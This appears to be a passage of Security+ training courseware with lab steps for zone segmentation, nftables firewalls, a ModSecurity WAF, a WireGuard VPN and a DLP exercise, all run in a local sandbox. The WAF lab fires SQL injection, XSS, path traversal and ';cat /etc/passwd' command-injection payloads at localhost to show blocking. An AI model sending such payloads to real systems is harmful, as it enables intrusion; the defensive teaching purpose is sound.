- IPSec: It is universally supported by enterprise firewalls and is required exam knowledge.
- WireGuard: It runs over a single UDP port you choose, commonly 51820, with no negotiation.
- WireGuard: It fixes modern cryptography: Curve25519, ChaCha20-Poly1305, BLAKE2s and HKDF.
- WireGuard: Its kernel implementation is small enough for a single reviewer to audit properly.
- WireGuard: Peers authenticate by exchanging public keys, much like SSH authorised keys.

VLANs and Subnets, East-West and North-South

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- VLAN and subnet: A VLAN is a layer 2 broadcast domain tagged with an 802.1Q ID from 1 to 4094.
- VLAN and subnet: A subnet is a layer 3 IP range such as 10.20.0.0/24 used for routing decisions.
- VLAN and subnet: They are usually mapped one to one, but that mapping is convention, not enforcement.
- VLAN and subnet: A VLAN alone gives no security. The router or firewall between VLANs applies policy.
- Traffic direction: North-south traffic crosses the perimeter between inside and outside networks.
- Traffic direction: East-west traffic moves between internal workloads, where most breach spread happens.
- Traffic direction: Classic perimeter firewalls inspect north-south only and never see east-west flows.
- Traffic direction: Microsegmentation puts an enforcement point directly on east-west traffic.

Selecting Effective Controls

- Step 1: Identify the assets and the zone each one belongs to
- Step 2: Map the threats and attack surface of every zone
- Step 3: Choose controls by placement, failure mode and layer
- Step 4: Layer controls rather than trusting one strong device
- Step 5: Test that each control blocks and fails as designed
- Step 6: Monitor, review and tune as the network changes

Exam tips

- Fail-open favours availability and fail-closed favours security. A perimeter firewall should normally fail closed.
- IPS = inline and active, so it can block. IDS = passive on a tap or SPAN port, so it can only alert.
- 802.1X roles: supplicant is the client, authenticator is the switch or AP, authentication server is RADIUS.
- Only a layer 7 device such as a WAF or NGFW can see SQL injection inside HTTP; a layer 4 firewall sees only IPs and ports.
- SASE is cloud-delivered security plus networking (SWG, CASB, ZTNA); SD-WAN is the policy-driven branch WAN underneath.

Lab 19 — Network Segmentation and Security Zones

Exam objective: 3.2. Learning outcome: Segment DMZ, internal and management zones with a default-deny policy.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Goal: The learner builds DMZ, internal and management zones as network namespaces, proves a flat network allows lateral movement, then enforces a screened-subnet, jump-server zone policy with iptables.

What you'll build

Three isolated layer 3 zones behind a host router with a logged default-deny chain (Tools: ip netns, veth, iptables, netcat, curl, python3.)

Step-by-step

1. Install the tools Most tools are pre-installed; this makes sure ping, netcat and curl are present.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
iproute2 iptables iputils-ping netcat-openbsd curl python3
```

2. Create three zone namespaces Each namespace is a separate network stack: dmz (screened subnet), internal and mgmt.

```
for z in dmz internal mgmt; do ip netns add $z; done

ip netns list
```

3. Wire each zone to the host router with veth pairs The host acts as the router between zones (10.0.10.0/24 DMZ, 10.0.20.0/24 internal, 10.0.30.0/24 management). A temporary rule allows all inter-zone forwarding so you can see the flat network first.

```
declare -A NET=([dmz]=10 [internal]=20 [mgmt]=30)

for z in dmz internal mgmt; do

  n=${NET[$z]}

  ip link add veth-$z type veth peer name veth-$z-r

  ip link set veth-$z netns $z

  ip addr add 10.0.$n.1/24 dev veth-$z-r && ip link set veth-$z-r up

  ip netns exec $z ip addr add 10.0.$n.2/24 dev veth-$z

  ip netns exec $z ip link set veth-$z up

  ip netns exec $z ip link set lo up

  ip netns exec $z ip route add default via 10.0.$n.1

done

sysctl -w net.ipv4.ip_forward=1

iptables -I FORWARD 1 -i veth-+ -o veth-+ -j ACCEPT   # temporary: flat
network
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
ip -br addr | grep veth
```

4. Start services and prove the flat network allows lateral movement Publish a web server in the DMZ and a "database" port in the internal zone. With no policy, a compromised DMZ host can reach the database.

```
# a plain TCPServer avoids http.server's slow reverse-DNS lookup inside the
namespace

ip netns exec dmz python3 -c 'import http.server as h, socketserver as s;
s.TCPServer(("10.0.10.2", 80), h.SimpleHTTPRequestHandler).serve_forever()'
>/dev/null 2>&1 &

ip netns exec internal nc -lk 5432 >/dev/null 2>&1 &

sleep 1

ip netns exec internal curl -s -o /dev/null -w "internal -> DMZ web: HTTP %
{http_code}\n" http://10.0.10.2/

ip netns exec dmz nc -zv -w2 10.0.20.2 5432

ip netns exec dmz ping -c1 -W1 10.0.30.2 >/dev/null && echo "DMZ -> mgmt
ping: reachable (bad)"
```

5. Apply a default-deny zone policy Replace the temporary rule with a dedicated ZONES chain: return traffic is allowed, the management zone may reach everything, internal clients may reach only the DMZ web port, and everything else is logged and dropped.

```
iptables -D FORWARD -i veth-+ -o veth-+ -j ACCEPT

iptables -N ZONES 2>/dev/null || iptables -F ZONES

iptables -A ZONES -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

iptables -A ZONES -s 10.0.30.0/24 -m comment --comment "mgmt/jump server to
any" -j ACCEPT

iptables -A ZONES -s 10.0.20.0/24 -d 10.0.10.0/24 -p tcp --dport 80 -m
comment --comment "internal to DMZ web" -j ACCEPT

iptables -A ZONES -m limit --limit 10/min -j LOG --log-prefix "ZONE-DROP "

iptables -A ZONES -m comment --comment "default deny" -j DROP

iptables -I FORWARD 1 -i veth-+ -o veth-+ -j ZONES

iptables -L ZONES -n --line-numbers
```

6. Re-test the screened-subnet policy Every allowed path still works and every forbidden path now fails.

```
echo "internal -> DMZ web (allow):"; ip netns exec internal curl -s -o
/dev/null -w "  HTTP %{http_code}\n" http://10.0.10.2/
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
echo "internal -> DMZ ping (deny, not a published service):"; ip netns exec
internal ping -c1 -W1 10.0.10.2 >/dev/null || echo "  blocked"

echo "DMZ -> internal DB (deny, lateral movement):"; ip netns exec dmz nc
-zv -w2 10.0.20.2 5432 2>&1 | sed 's/^/  /'

echo "DMZ -> mgmt (deny):"; ip netns exec dmz ping -c1 -W1 10.0.30.2
>/dev/null || echo "  blocked"

echo "mgmt -> DMZ and internal (allow, jump server):"

ip netns exec mgmt ping -c1 -W1 10.0.10.2 >/dev/null && echo "  DMZ
reachable"

ip netns exec mgmt nc -zv -w2 10.0.20.2 5432 2>&1 | sed 's/^/  /'
```

7. Read the counters and dropped-packet logs Counters prove which rules matched; the log gives the evidence a SOC analyst would forward to the SIEM.

```
iptables -L ZONES -n -v --line-numbers

dmesg 2>/dev/null | grep ZONE-DROP | tail -3
```

Test it

Internal-to-DMZ web returns HTTP 200, DMZ-to-internal port 5432 times out, DMZ-to-management fails, the management zone reaches everything, and the default-deny counter is above zero.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-19-network-segmentation/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 20 — Stateful Firewall with UFW and nftables

Exam objective: 3.2. Learning outcome: Build default-deny allow-list firewalls and read rule counters.

Goal: The learner builds a UFW allow-list, inspects the netfilter rules it generates, writes a stateful nftables ruleset for a namespaced server, and shows that a layer 4 firewall passes an SQLi payload.

What you'll build

A UFW host policy and an nftables-protected server with per-rule counters (Tools: ufw, nftables, iptables, netcat, curl, ip netns.)

Step-by-step

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

1. Install the tools

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y ufw
nftables netcat-openbsd curl python3 iproute2 iputils-ping

mkdir -p /root/lab20
```

2. Build a UFW default-deny allow-list Set the defaults, allow SSH first so you never lock yourself out, then allow the published web ports.

```
ufw default deny incoming

ufw default allow outgoing

ufw allow 22/tcp comment 'SSH admin - always first'

ufw allow 80/tcp comment 'HTTP'

ufw allow 443/tcp comment 'HTTPS'

ufw --force enable

ufw status verbose
```

3. Inspect the netfilter rules UFW generated UFW only writes netfilter rules for you. Look at the user chain it built and the default policy.

```
ufw status numbered

iptables -S ufw-user-input

iptables -S INPUT | head -3
```

4. Disable UFW and build a server namespace To test from the outside without risking the playground's own connection, disable UFW and create a separate "server" network stack reachable at 10.20.0.2. It runs a web server on 80, a fake SSH service on 22 and a legacy Telnet service on 23.

```
ufw --force disable

ip netns add srv

ip link add veth-host type veth peer name veth-srv

ip link set veth-srv netns srv

ip addr add 10.20.0.1/24 dev veth-host && ip link set veth-host up

ip netns exec srv ip addr add 10.20.0.2/24 dev veth-srv

ip netns exec srv ip link set veth-srv up

ip netns exec srv ip link set lo up
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
ip netns exec srv python3 -c 'import http.server as h, socketserver as s;
s.TCPServer(("10.20.0.2", 80), h.SimpleHTTPRequestHandler).serve_forever()'
>/dev/null 2>&1 &

ip netns exec srv nc -lk 22 >/dev/null 2>&1 &

ip netns exec srv nc -lk 23 >/dev/null 2>&1 &

sleep 1

for p in 22 23 80; do nc -z -w2 10.20.0.2 $p && echo "port $p open (no
firewall yet)"; done
```

5. Write a stateful nftables ruleset for the server Default-drop input, accept loopback and established traffic, allow SSH only from the admin host, allow web from anyone, rate-limit ping, and count everything else as dropped.

```
cat > /root/lab20/srv.nft <<'EOF'

flush ruleset

table inet filter {

  chain input {

    type filter hook input priority 0; policy drop;

    iif "lo" accept

    ct state established,related accept

    ct state invalid counter drop comment "invalid packets"

    ip saddr 10.20.0.1 tcp dport 22 counter accept comment "SSH from admin
host only"

    tcp dport { 80, 443 } counter accept comment "published web"

    icmp type echo-request limit rate 5/second counter accept comment
"rate-limited ping"

    counter drop comment "default deny"

  }

  chain forward {

    type filter hook forward priority 0; policy drop;

  }

  chain output {

    type filter hook output priority 0; policy accept;

  }
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
}

EOF

nft -c -f /root/lab20/srv.nft && echo "Syntax OK"
```

6. Load the ruleset and test allowed versus blocked ports Load the rules inside the server namespace only, then probe it from the host.

```
ip netns exec srv nft -f /root/lab20/srv.nft

curl -s -o /dev/null -w "HTTP 80  -> %{http_code}\n" http://10.20.0.2/

nc -z -w2 10.20.0.2 22 && echo "SSH 22   -> allowed (admin host)"

nc -z -w2 10.20.0.2 23 || echo "Telnet 23 -> blocked (default deny)"

ping -c2 -W1 10.20.0.2 >/dev/null && echo "ICMP     -> allowed (rate
limited)"
```

7. Read per-rule counters Counters show packets and bytes per rule — the raw evidence for firewall log review.

```
for i in $(seq 1 20); do curl -s -o /dev/null http://10.20.0.2/; done

for i in 1 2 3; do nc -z -w1 10.20.0.2 23; done

ip netns exec srv nft list chain inet filter input
```

8. Compare layer 4 rules with layer 7 filtering A layer 4 firewall allows port 80, so it lets an SQL injection payload straight through to the application.

```
curl -s -o /dev/null -w "SQLi payload through the L4 firewall -> HTTP %
{http_code}\n" \

  "http://10.20.0.2/?id=1%27%20OR%20%271%27=%271"

ip netns exec srv nft list chain inet filter input | grep 'published web'
```

Test it

HTTP 80 returns 200, SSH 22 is allowed only from the admin host, Telnet 23 is blocked, the default-deny counter is above zero, and the SQLi request passes the layer 4 rules.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-20-firewall-ufw-nftables/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Lab 21 — Web Application Firewall with ModSecurity and the OWASP CRS

Exam objective: 3.2. Learning outcome: Deploy, enforce and tune a layer 7 WAF with the OWASP CRS.

Goal: The learner deploys Apache with ModSecurity and the OWASP CRS, baselines it in DetectionOnly mode, enforces blocking of SQLi, XSS, traversal and command injection, and writes a narrow rule exclusion.

What you'll build

An Apache site protected by the OWASP CRS with a scoped false-positive exclusion (Tools: apache2, libapache2-mod-security2, modsecurity-crs, curl.)

Step-by-step

1. Install Apache, ModSecurity and the OWASP CRS Port 80 is freed first in case nginx from another lab is running.

```
systemctl stop nginx 2>/dev/null || true

apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
apache2 libapache2-mod-security2 modsecurity-crs curl

a2enmod security2 >/dev/null

systemctl restart apache2

apachectl -M 2>/dev/null | grep security2
```

2. Create the ModSecurity configuration in DetectionOnly mode Copy the recommended config (its default is DetectionOnly) and make sure the CRS is loaded exactly once.

```
cp /etc/modsecurity/modsecurity.conf-recommended
/etc/modsecurity/modsecurity.conf

grep -n '^SecRuleEngine' /etc/modsecurity/modsecurity.conf

grep -q 'modsecurity-crs' /etc/apache2/mods-enabled/security2.conf \

  && echo "CRS already included by security2.conf" \

  || echo 'IncludeOptional /usr/share/modsecurity-crs/*.load' >
/etc/modsecurity/zz-load-crs.conf

apachectl configtest && systemctl restart apache2

ls /usr/share/modsecurity-crs/rules/*.conf | wc -l
```

3. Send an attack in detection-only mode and read the warning The request still succeeds (HTTP 200), but ModSecurity logs which rules would have blocked it.

```
curl -s -o /dev/null -w "DetectionOnly SQLi -> HTTP %{http_code}\n" -G --
data-urlencode "id=1' OR '1'='1" http://127.0.0.1/
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
sleep 1

grep 'ModSecurity: Warning' /var/log/apache2/error.log | grep -o 'id "[0-
9]*"' | sort | uniq -c
```

4. Switch the rule engine to blocking mode

```
sed -i 's/^SecRuleEngine DetectionOnly/SecRuleEngine On/'
/etc/modsecurity/modsecurity.conf

grep '^SecRuleEngine' /etc/modsecurity/modsecurity.conf

apachectl configtest && systemctl restart apache2
```

5. Fire SQLi, XSS, traversal and command-injection payloads Each attack should now return 403 Forbidden, while a normal search still returns 200.

```
for p in "id=1' OR '1'='1" "q=<script>alert(1)</script>"
"file=../../../../etc/passwd" "cmd=;cat /etc/passwd"; do

  printf '%-32s -> ' "$p"

  curl -s -o /dev/null -w "%{http_code}\n" -G --data-urlencode "$p"
http://127.0.0.1/

done

curl -s -o /dev/null -w "benign search                    -> %{http_code}
\n" "http://127.0.0.1/?q=security+plus"
```

6. Read the matched rule IDs in the logs The error log names every rule that matched; 949110 is the CRS rule that blocks once the anomaly score is exceeded.

```
grep -c 'Access denied with code 403' /var/log/apache2/error.log

grep 'ModSecurity' /var/log/apache2/error.log | grep -o 'id "[0-9]*"' |
sort | uniq -c | sort -rn | head -12

grep 'Access denied' /var/log/apache2/error.log | tail -1 | grep -o 'msg
"[^"]*"'
```

7. Tune a false positive with a narrow exclusion A CMS editor at /admin/edit legitimately accepts HTML in the body field. Exclude the XSS rules for that one parameter on that one path only.

```
curl -s -o /dev/null -w "editor body, before tuning -> %{http_code}\n" -G
--data-urlencode "body=<script>alert(1)</script>"
http://127.0.0.1/admin/edit

cat > /etc/modsecurity/zz-lab21-exclusions.conf <<'EOF'

# Lab 21: the CMS editor accepts HTML in ARGS:body on /admin/edit only

SecRule REQUEST_URI "@beginsWith /admin/edit" \
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
    "id:1000,phase:1,pass,nolog,ctl:ruleRemoveTargetByTag=attack-
xss;ARGS:body"

EOF

apachectl configtest && systemctl reload apache2

sleep 1

curl -s -o /dev/null -w "editor body, after tuning  -> %{http_code}\n" -G
--data-urlencode "body=<script>alert(1)</script>"
http://127.0.0.1/admin/edit

curl -s -o /dev/null -w "other field, same path     -> %{http_code}\n" -G
--data-urlencode "q=<script>alert(1)</script>" http://127.0.0.1/admin/edit

curl -s -o /dev/null -w "same field, other path     -> %{http_code}\n" -G
--data-urlencode "body=<script>alert(1)</script>" http://127.0.0.1/
```

Test it

DetectionOnly returns 200 with logged warnings; in blocking mode all four payloads return 403, a benign search returns 200, and the editor field passes only on /admin/edit.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-21-waf-modsecurity/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 22 — Site-to-Site VPN with WireGuard

Exam objective: 3.2. Learning outcome: Build an encrypted site-to-site tunnel and verify it on the wire.

Goal: The learner joins two simulated sites with a WireGuard tunnel, proves with tcpdump that only ciphertext crosses the underlay, and shows AllowedIPs crypto-key routing refusing an unlisted address.

What you'll build

A two-site WireGuard tunnel, a ciphertext-only capture and a crypto-key routing test (Tools: wireguard-tools, ip netns, tcpdump, netcat.)

Step-by-step

1. Install WireGuard and capture tools

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
wireguard-tools iproute2 iputils-ping kmod tcpdump netcat-openbsd
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
modprobe wireguard && lsmod | grep wireguard
```

2. Generate a key pair for each site Private keys are created with a restrictive umask so only root can read them.

```
mkdir -p /root/wg && cd /root/wg && umask 077

for s in siteA siteB; do wg genkey | tee $s.key | wg pubkey > $s.pub; done

ls -l /root/wg

echo "Site A public key: $(cat siteA.pub)"
```

3. Create two site namespaces with WireGuard links The interfaces are created in the host and then moved, so their encrypted UDP sockets stay on the host loopback — the simulated internet between the sites.

```
ip netns add siteA

ip netns add siteB

ip link add wgA type wireguard

ip link add wgB type wireguard

ip link set wgA netns siteA

ip link set wgB netns siteB

ip netns exec siteA ip link show wgA
```

4. Configure keys, listen ports and allowed IPs Each site gets its private key, a listen port, its peer's public key and the single tunnel address that peer may use.

```
cd /root/wg

ip netns exec siteA wg set wgA private-key siteA.key listen-port 51820 \

  peer "$(cat siteB.pub)" allowed-ips 10.99.0.2/32

ip netns exec siteB wg set wgB private-key siteB.key listen-port 51821 \

  peer "$(cat siteA.pub)" allowed-ips 10.99.0.1/32

ip netns exec siteA ip addr add 10.99.0.1/24 dev wgA

ip netns exec siteB ip addr add 10.99.0.2/24 dev wgB
```

5. Point each peer at the other's endpoint The endpoint is the public address of the other gateway; here both gateways share the host loopback.

```
cd /root/wg

ip netns exec siteA wg set wgA peer "$(cat siteB.pub)" endpoint
127.0.0.1:51821
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
ip netns exec siteB wg set wgB peer "$(cat siteA.pub)" endpoint
127.0.0.1:51820

ip netns exec siteA ip link set wgA up

ip netns exec siteB ip link set wgB up
```

6. Verify the tunnel with ping and wg show A successful ping triggers the handshake; wg show then reports it and counts the encrypted bytes.

```
ip netns exec siteA ping -c3 10.99.0.2

ip netns exec siteA wg show
```

7. Capture the underlay to prove the traffic is encrypted Send a "secret" message through the tunnel while capturing the UDP packets that actually cross the simulated internet.

```
cd /root/wg

timeout 12 tcpdump -i lo -nn -A -c 20 'udp port 51820 or udp port 51821' >
capture.txt 2>/dev/null &

sleep 2

ip netns exec siteB sh -c 'timeout 6 nc -l 10.99.0.2 9000 >
/root/wg/received.txt' &

sleep 1

echo "PAYROLL-TOP-SECRET-2024" | ip netns exec siteA nc -q 1 -w 3 10.99.0.2
9000

wait

echo "Received at Site B: $(cat received.txt)"

echo "Encrypted packets captured: $(grep -c 'UDP' capture.txt)"

grep -q "PAYROLL-TOP-SECRET" capture.txt && echo "PLAINTEXT LEAKED" || echo
"Plaintext not visible on the wire - encrypted"
```

8. Test crypto-key routing with AllowedIPs Give Site B a second address that is not in Site A's AllowedIPs list. Site A has no peer key for it, so the packet is refused before it is ever encrypted.

```
ip netns exec siteB ip addr add 10.99.0.3/24 dev wgB

ip netns exec siteA ping -c2 -W1 10.99.0.3 2>&1 | grep -E 'Required key|
Unreachable|packet loss' | head -2

ip netns exec siteA wg show wgA allowed-ips
```

Test it

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Ping across the tunnel succeeds, wg show reports a recent handshake, the secret message arrives at Site B but never appears in the capture, and traffic to the unlisted 10.99.0.3 is refused.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-22-vpn-wireguard/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 3.3 — Protecting Data

Official objective: Compare and contrast concepts and strategies to protect data.

Protecting data starts with knowing what you hold: regulated personal data, trade secrets, intellectual property, legal and financial records, in human- or machine-readable form.

Classification labels such as public, private, sensitive, confidential, restricted and critical tell people and tools how each item must be handled.

Data exists at rest, in transit and in use, and each state needs its own controls, while sovereignty and geolocation decide where data may legally live and be reached from.

Methods to secure data include encryption, hashing, masking, tokenisation, obfuscation, segmentation, geographic restrictions and permission restrictions, and data loss prevention enforces them at the edges.

Data Types

- Regulated — Data governed by law or industry rules, such as personal data under PDPA or GDPR, health records and PCI DSS card data.
- Trade secret — Confidential know-how that gives a competitive edge, such as a formula or algorithm, protected by keeping it secret.
- Intellectual property — Creations protected by law, such as patents, copyrights and trademarks. Theft erodes competitive advantage.
- Legal information — Contracts, case files, litigation material and records under legal hold, often protected by legal privilege.
- Financial information — Bank accounts, payment cards, payroll and company accounts. A prime target for fraud and heavily regulated.
- Human / non-human readable — Documents people can read versus encoded data such as binaries or barcodes. DLP must be able to parse both.

Data Classifications

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Public — Freely releasable with no harm if disclosed, such as press releases and price lists. Integrity still matters.
- Private — Personal or internal information that should not leave the organisation, such as staff records and internal memos.
- Sensitive — Information whose disclosure could harm people or the organisation, such as PII and health data.
- Confidential — Business data limited to authorised staff, such as source code, contracts and plans. Leaks cause serious damage.
- Restricted — The highest commercial tier, limited to named people with a need to know, such as merger plans or card data.
- Critical — Data whose loss of availability or integrity would stop essential operations, such as safety system settings.
- Labels drive handling: who may access the data, whether it must be encrypted, where it may be stored and how it is destroyed.

Data States and Encryption Scope

- Data at rest — Information stored on disk, tape or object storage. Full-disk and file-level encryption defend this state.
- Data in transit — Information moving across a network, protected by TLS, IPSec or WireGuard rather than by disk encryption.
- Data in use — Information decrypted in memory while being processed. Confidential computing and secure enclaves address it.
- Full-disk encryption — Encrypts an entire block device, so swap and temporary files are covered. It is transparent once unlocked.
- File-level encryption — Encrypts individual files or folders, allowing per-user keys, but file names and sizes can still leak.
- Database encryption — Transparent data encryption protects the data files, while column encryption protects specific values.

Data Sovereignty versus Geolocation

- Data sovereignty: Data is subject to the laws of the country where it is physically stored.
- Data sovereignty: Storing customer data abroad may expose it to foreign legal access requests.
- Data sovereignty: Some regulations require certain data to stay inside national borders.
- Data sovereignty: Choose cloud regions deliberately and record where every copy lives.
- Geolocation: Works out the physical location of a user or device from GPS, IP or Wi-Fi data.
- Geolocation: It enables geographic restrictions, such as blocking logins from unusual countries.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Geolocation: It supports impossible-travel alerts when one account signs in from two continents.
- Geolocation: Location data about people is itself personal data that must be protected.

Methods to Secure Data

- Geographic restrictions — Limit where data may be stored or reached from, such as region-locked cloud buckets or geofenced logins.
- Encryption — Transforms data with a key so that only key holders can read it. It is reversible, so key management is the real control.
- Hashing — A one-way digest that proves integrity or stores passwords. It cannot be reversed, so it is not encryption.
- Masking — Hides part of a value for display, such as showing only the last four card digits. The original stays in the system.
- Tokenisation — Replaces a value with a random token and keeps the mapping in a secure vault. The token has no mathematical link.
- Obfuscation — Makes data or code hard to understand, such as encoding or code scrambling. It slows attackers but is weak protection.
- Segmentation — Keeps sensitive data on separate networks or databases, so a breach elsewhere cannot reach it and audit scope shrinks.
- Permission restrictions — Access control lists, roles and least privilege, so only authorised accounts can read or change the data.

Tokenisation versus Encryption

- Tokenisation: The original value is swapped for a random token with no mathematical link to it.
- Tokenisation: Only the token vault maps a token back, so stolen tokens reveal nothing.
- Tokenisation: Popular for payment cards because it takes systems out of PCI DSS scope.
- Tokenisation: Format-preserving tokens keep the same length, so older applications still work.
- Encryption: The original value is transformed by an algorithm and a key.
- Encryption: Anyone holding the key can decrypt every value, so the key must be protected.
- Encryption: Encrypted sensitive data usually remains inside compliance scope.
- Encryption: It suits whole files, disks and network sessions, not just single fields.

Data Loss Prevention

- DLP purpose — Detects and blocks sensitive data leaving the organisation by email, web upload, USB drive or cloud storage.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Content inspection — Uses regular expressions, keywords and checksums such as the Luhn check to recognise card numbers and IDs.
- Endpoint DLP — An agent on the device controls copying to USB, printing and uploads, even when the laptop is off the network.
- Network DLP — Inspects traffic at the egress point, which needs TLS inspection to see inside encrypted sessions.
- Cloud DLP — Scans data held in SaaS and cloud storage, often through a CASB, to find exposed sensitive files.
- Labels drive DLP — Classification labels let DLP apply the right action, such as block, encrypt or alert, for each sensitivity level.

How LUKS2 Protects the Volume

- Master key — A random key that encrypts the data. It is never derived from your passphrase directly.
- Key slots — Each slot stores a copy of the master key wrapped by one passphrase or keyfile.
- Argon2id KDF — Stretches the passphrase using memory-hard hashing so brute forcing a slot is expensive.
- Header — Holds slots and metadata. Destroy or overwrite the header and the data is unrecoverable, so back it up.
- Keyfile — A high-entropy file used instead of typing a passphrase, ideal for unattended secondary volumes.
- TPM-backed unlock — Seals the key to platform measurements so the disk unlocks only on expected, unmodified firmware.
- Changing a passphrase rewraps the master key, so the existing ciphertext stays readable.

The TLS 1.3 Handshake in Sequence

- Step 1: Client hello carries versions, ciphers and a key share
- Step 2: Server hello returns its key share and picks the suite
- Step 3: Both sides derive the same secret using ephemeral ECDHE
- Step 4: The client validates the server certificate and signature
- Step 5: Finished messages verify the handshake, then data flows

Cipher Suites, Versions and Attacks

- Suite anatomy — In ECDHE-RSA-AES256-GCM-SHA384 the parts are key exchange, authentication, bulk cipher and the hash for the KDF.
- AEAD — Authenticated encryption such as AES-GCM or ChaCha20-Poly1305 gives confidentiality and integrity in one operation.
- Forward secrecy — ECDHE makes a throwaway key per session, so stealing the server key later cannot decrypt old traffic.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Deprecated versions — TLS 1.0 and 1.1 rely on weak SHA-1 and MD5 constructions and CBC padding. RFC 8996 deprecated both in 2021.
- Downgrade attacks — POODLE forced a fall back to SSL 3.0 padding. Disabling old versions removes the downgrade target.
- HSTS — Strict-Transport-Security tells browsers to use HTTPS only, which defeats SSL stripping after the first visit.

Obj 3.3 · Key Idea

- Disk encryption protects powered-off devices. Once the system is booted and the volume unlocked, malware, a live attacker or a root account reads plaintext exactly like any normal user.

Exam tips

- Masking hides part of a value for display; tokenisation swaps the value for a vault-mapped token; neither is the same as encryption.
- Data sovereignty = the laws of the country where data is stored. Geolocation = working out where a user or device is.
- Hashing is one-way and proves integrity. Encryption is two-way and needs a key, so it protects confidentiality.
- Match the state to the control: at rest = FDE or TDE, in transit = TLS or IPSec, in use = secure enclave.

Lab 23 — Data Classification and Data Loss Prevention

Exam objective: 3.3. Learning outcome: Classify data, detect PII with DLP, and mask, tokenise and restrict it.

Goal: The learner labels files by classification, builds a regex DLP scanner for NRIC/FIN, Luhn-valid cards and emails, catches a mislabelled file, then applies masking, tokenisation, HMAC and permissions.

What you'll build

A labelled data store, a DLP scanner, masked and tokenised outputs, a token vault and need-to-know ACLs (Tools: python3 (re, hmac, secrets), openssl, chmod/chown, useradd.)

Step-by-step

1. Install the tools

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
python3 openssl acl

mkdir -p /srv/lab23/{data,out,vault} && cd /srv/lab23
```

2. Create a synthetic data set Five files with different sensitivity. One "public" press release accidentally contains a customer's NRIC.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
cd /srv/lab23/data

cat > press-release.txt <<'EOF'

FOR IMMEDIATE RELEASE - Example Pte Ltd opens new Jurong office.

Media contact: media@example.com

Customer quote supplied by Tan Ah Kow (NRIC S1234567D) - approved for
release.

EOF

cat > staff-memo.txt <<'EOF'

Internal memo: the office will close early on Friday. Questions to hr-
team@example.com

EOF

cat > hr-salaries.csv <<'EOF'

name,nric_fin,email,monthly_salary

Tan Ah Kow,S1234567D,ahkow.tan@example.com,6200

Priya Raman,T0123456G,priya.r@example.com,7400

Li Wei,G1234567X,li.wei@example.com,5800

Maria Santos,M1234567K,maria.s@example.com,5100

EOF

cat > payments.csv <<'EOF'

order_id,cardholder,card_number,expiry

ORD-1001,Tan Ah Kow,4111111111111111,12/28

ORD-1002,Priya Raman,5555555555554444,03/27

ORD-1003,Li Wei,378282246310005,09/29

ORD-1004,Test Typo,4111111111111112,01/27

EOF

cat > product-formula.txt <<'EOF'

Trade secret: SuperGlue v7 cure ratio 3:1 at 42C for 90 seconds. Do not
distribute.

EOF

ls -l
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

3. Label each file by classification Record the owner's classification decision in a manifest — the label the DLP scanner will enforce.

```
cd /srv/lab23

cat > labels.csv <<'EOF'

file,classification

press-release.txt,Public

staff-memo.txt,Private

hr-salaries.csv,Confidential

payments.csv,Restricted

product-formula.txt,Confidential

EOF

column -s, -t labels.csv 2>/dev/null || cat labels.csv
```

4. Write a regex DLP scanner with a Luhn check The scanner finds NRIC/FIN ([STFGM]\d{7}[A-Z]), emails and card numbers that pass the Luhn checksum, then compares what it found with what the label allows.

```
cat > /srv/lab23/dlp_scan.py <<'EOF'

